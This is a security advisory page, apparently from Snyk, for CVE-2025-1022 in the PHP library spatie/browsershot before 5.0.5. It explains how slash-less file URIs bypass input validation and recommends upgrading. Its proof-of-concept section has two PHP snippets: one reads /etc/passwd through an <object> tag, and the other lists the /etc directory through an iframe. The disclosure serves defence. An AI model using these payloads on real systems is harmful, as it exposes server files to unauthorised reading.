Improper Input Validation Affecting spatie/browsershot package, versions <5.0.5


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Input Validation vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-SPATIEBROWSERSHOT-8496747
  • published4 Feb 2025
  • disclosed11 Dec 2024
  • creditEe Yang Tee

Introduced: 11 Dec 2024

CVE-2025-1022  (opens in a new tab)
CWE-20  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade spatie/browsershot to version 5.0.5 or higher.

Overview

spatie/browsershot is a library for converting a webpage to an image or pdf using headless Chrome.

Affected versions of this package are vulnerable to Improper Input Validation in the setHtml function, invoked by Browsershot::html(), which can be bypassed by omitting the slashes in the file URI (e.g., file:../../../../etc/passwd). This is due to missing validations of the user input that should be blocking file URI schemes (e.g., file:// and file:/) in the HTML content.

PoC

Arbitrary file read:

require 'vendor/autoload.php';

use Spatie\Browsershot\Browsershot;

$code = '<object data="file:../../../etc/passwd" width="500" height="400">'; Browsershot::html($code) ->save('html.pdf');

System directory listing:

require 'vendor/autoload.php';

use Spatie\Browsershot\Browsershot;

$code = <<<HTML <iframe src="file:../../../../etc" width="500" height="400"></iframe> HTML; Browsershot::html($code) ->save('html.pdf');

CVSS Scores

version 4.0
version 3.1